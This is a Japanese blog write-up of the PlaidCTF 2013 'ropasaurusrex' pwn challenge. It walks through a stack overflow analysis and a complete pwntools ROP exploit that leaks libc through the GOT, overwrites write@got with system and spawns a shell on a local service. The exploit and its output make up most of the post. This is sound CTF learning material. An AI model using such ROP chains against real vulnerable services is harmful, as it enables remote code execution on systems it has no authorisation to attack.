1日ひとつだけ強くなる

おべんきょうのーと

PlaidCTF 2013: ropasaurusrex - 200 *Level1*

動機

先週末はgoogleCTF参加したんですが、EasyのInstProfではバイナリの解析してからが進めませんでした。

writeupを見たら限られた4バイトでROP組んでて、そういえばROPに苦手意識があったのを思い出した。

そこでkatagaitai勉強会の資料を一部参考にしながら、ropの問題を解いてみた。 なお、katagaitai資料にはLevel5まであり、まだLevel1しかとけていないのだが、これも順次解いてwriteupを上げていきたい。

speakerdeck.com

毎度ながらkatagaitaiの資料にはたくさん学ぶことがある….

ropasaurusrex

問題のバイナリはここら辺から。

http://shell-storm.org/repo/CTF/PlaidCTF-2013/Pwnable/ropasaurusrex-200/

いかにもROP使いますって問題なので、まずは事前調査してみる。

$ file ropasaurusrex
ropasaurusrex: ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.18, BuildID[sha1]=96997aacd6ee7889b99dc156d83c9d205eb58092, stripped
$ checksec ropasaurusrex
[*] '/home/ubuntu/writeup/bata/easy/ropasaurusrex/ropasaurusrex'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

ELF 32bitでstrippedなバイナリ。セキュリティ機構はNXのみ。

実行してみる

まずは実行してみる。

$ ./ropasaurusrex 
AAAA
WIN

標準入力からの入力を待ち受けていて、何か入力すると"WIN"って帰ってくる。Canaryもないし、BOFかなぁ〜と思ってidaで解析してみると、mainで呼ばれている関数(ここではgetInputと呼ぶことにする)にBOF脆弱性があることがわかる。

f:id:hal0taso:20170625165505p:plain

みると、バッファのサイズは88byteなのに256byte分だけreadしている。そこで、EIPが取れるか確認してみる。

$ gdb ./ropasaurusrex -q
$ r
Starting program: /home/ubuntu/writeup/bata/easy/ropasaurusrex/ropasaurusrex 
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAnAASAAoAATAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%b

Program received signal SIGSEGV, Segmentation fault.
[-------------------------------registers--------------------------------]
EAX: 0x100 
EBX: 0xf7fb3000 --> 0x1abda8 
ECX: 0xffffd070 ("AAA%AAsAABAA$AA"...)
EDX: 0x100 
ESI: 0x0 
EDI: 0x0 
EBP: 0x41514141 (b'AAQA')
ESP: 0xffffd100 ("RAAnAASAAoAATAA"...)
EIP: 0x41416d41 (b'AmAA')
[----------------------------------code----------------------------------]
Invalid $PC address: 0x41416d41
[---------------------------------stack----------------------------------]
00:0000| esp 0xffffd100 ("RAAnAASAAoAATAA"...)
01:0004|     0xffffd104 ("AASAAoAATAApAAU"...)
02:0008|     0xffffd108 ("AoAATAApAAUAAqA"...)
03:0012|     0xffffd10c ("TAApAAUAAqAAVAA"...)
04:0016|     0xffffd110 ("AAUAAqAAVAArAAW"...)
05:0020|     0xffffd114 ("AqAAVAArAAWAAsA"...)
06:0024|     0xffffd118 ("VAArAAWAAsAAXAA"...)
07:0028|     0xffffd11c ("AAWAAsAAXAAtAAY"...)
[------------------------------------------------------------------------]
Legend: stack, code, data, heap, rodata, value
Stopped reason: SIGSEGV
0x41416d41 in ?? ()
gdb-peda$ 
gdb-peda$ patto AmAA
AmAA found at offset: 140
gdb-peda$ 

140byte以降でEIPを奪えることがわかった。

ROP

xinetd型の問題なので、system("/bin/sh")を呼んでやればよい。しかし、今回はNXが有効なので、shellcodeを流し込むにしてもスタック内での実行が不可能である。こういう時はmmapまたはmprotectでRWX属性のメモリ領域を確保してやるなどする必要があるが、バイナリではどちらの関数も利用していないので、pltエントリにはなく、libcから呼んでやる必要がある。libcのアドレスわかってるならlibcから呼んだ方が早いので、libcからsystemを呼ぶことにする。そのためにはlibcのベースアドレスを知る必要がある。まず、pltエントリとgotエントリを調べてみる。

$ objdump -d -M intel ./ropasaurusrex | grep "@plt>:" -A 1
080482fc <__gmon_start__@plt>:
 80482fc:   ff 25 10 96 04 08       jmp    DWORD PTR ds:0x8049610
--
0804830c <write@plt>:
 804830c:   ff 25 14 96 04 08       jmp    DWORD PTR ds:0x8049614
--
0804831c <__libc_start_main@plt>:
 804831c:   ff 25 18 96 04 08       jmp    DWORD PTR ds:0x8049618
--
0804832c <read@plt>:
 804832c:   ff 25 1c 96 04 08       jmp    DWORD PTR ds:0x804961c

readとwriteが使えるっぽい。GOT OverwriteでGOTの適当な関数を書き換えてやればよくて、あとは/bin/shなんだけど、これは資料を参考にさせてもらった。具体的には、書き込み可能なセクション(今回は.dataセクションにした)に文字列/bin/shをreadとかで書いてやって、関数の引数としてスタックに積む時は.dataセクションのアドレスを入れてやればよい。(なるほど〜〜〜〜)

攻撃の方針としては、

  1. write(1(stdout), write@got, 4)でlibcでwriteがどこにロードされているのか調べる
  2. read(0(stdin), .data, 8)で.dataセクションに/bin/sh\x00を書き込む
  3. read(0(stdout), write@got, 4)でwriteのGOTをsystemのアドレスに書き換えてやる。

この時、それぞれスタックに引数が溜まっていくので、バイナリ中のpopxN retとなるコード片を利用してスタックの引数を除去してやればよい(ROPっぽい…!)そのようなコード片はrp++とか使えば見つかる。今回はいずれも3つ引数が積まれている状態を想定しているので、pop3ret的なのを探す。

$ rp-lin-x64 -f ./ropasaurusrex -r 4 | grep pop
# 中略 
0x080484b6: pop esi ; pop edi ; pop ebp ; ret  ;  (1 found)

使ってるlibcからsystemのアドレスを確認しておく。

$ ldd ./ropasaurusrex
    linux-gate.so.1 =>  (0xf7798000)
    libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf75c4000)
    /lib/ld-linux.so.2 (0x565ff000)
$ nm -D /lib/i386-linux-gnu/libc.so.6 | grep system
00040310 T __libc_system
0011b710 T svcerr_systemerr
00040310 W system

Exploit

上記の情報から、エクスプロイトを記述していく。

#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *

context(arch = 'i386', os = 'linux')
#context.log_level="debug"

r = remote('localhost', 1025)
# EXPLOIT CODE GOES HERE

# for debug
def bp():
    input()

'''
# Exploit plan
- get libc address
- call write(1, write@got, 4) -> get libc_write
- call read(0, .data, 8) -> set '/bin/sh\x00'
- call read(0, write@got, 4) -> overwrite write to system
- call system('/bin/sh')

# stack plan
---------
write@plt
---------
pop3ret
---------
1(stdout)
---------
write@got
---------
4
---------
read@plt
---------
pop3ret
---------
0(stdin)
---------
.data
---------
8
---------
read@plt
---------
pop3ret
---------
0(stdin)
---------
write@plt
---------
4
---------
write@plt(system)
---------
0xdeadbeef
---------
.data('/bin/sh')
---------
'''
got_write     = 0x08049614

plt_write     = 0x0804830c
plt_read      = 0x0804832c

offset_system = 0x00040310
offset_write  = 0x000dd300

pop3ret       = 0x080484b6
addr_data     = 0x08049620

# build rop
buf = 'A'*140
buf += p32(plt_write)
buf += p32(pop3ret)
buf += p32(1) + p32(got_write) + p32(4)

buf += p32(plt_read)
buf += p32(pop3ret)
buf += p32(0) + p32(addr_data) + p32(8)

buf += p32(plt_read)
buf += p32(pop3ret)
buf += p32(0) + p32(got_write) + p32(4)

buf += p32(plt_write)
buf += p32(0xdeadbeef)
buf += p32(addr_data)
r.send(buf)


ret = u32(r.recv())
print('write@got: {}'.format(hex(ret)))
print('libc_start: {}'.format(hex(ret - offset_write)))
addr_system = ret - offset_write + offset_system
print('system: {}'.format(hex(addr_system)))

r.send('/bin/sh'+'\x00')

buf = p32(addr_system)
r.send(buf)

r.interactive()

これでシェルが起動する。

$ socat tcp-listen:1025,reuseaddr,fork exec:./ropasaurusrex
$ ./exploit.py 
[+] Opening connection to localhost on port 1025: Done
write@got: 0xf76ad300
libc_start: 0xf75d0000
system: 0xf7610310
[*] Switching to interactive mode
$ whoami
ubuntu

感想

ROP、基本的な考えとしてはバイナリ中の実行権限のある既存のコード片(ROPガジェット)をうまく組み合わせてExploitを記述しよう!という考え方なので、まずは攻撃のプランを具体的に組み立てる能力が必要なのでは、と思った。 基礎的な知識や経験が手を動かさないうちに抜けて行ってしまうので(当然)これからもやっていくぞ!という気持ちです。

院試が終わって一息ついたらもっと時間とってやりたい。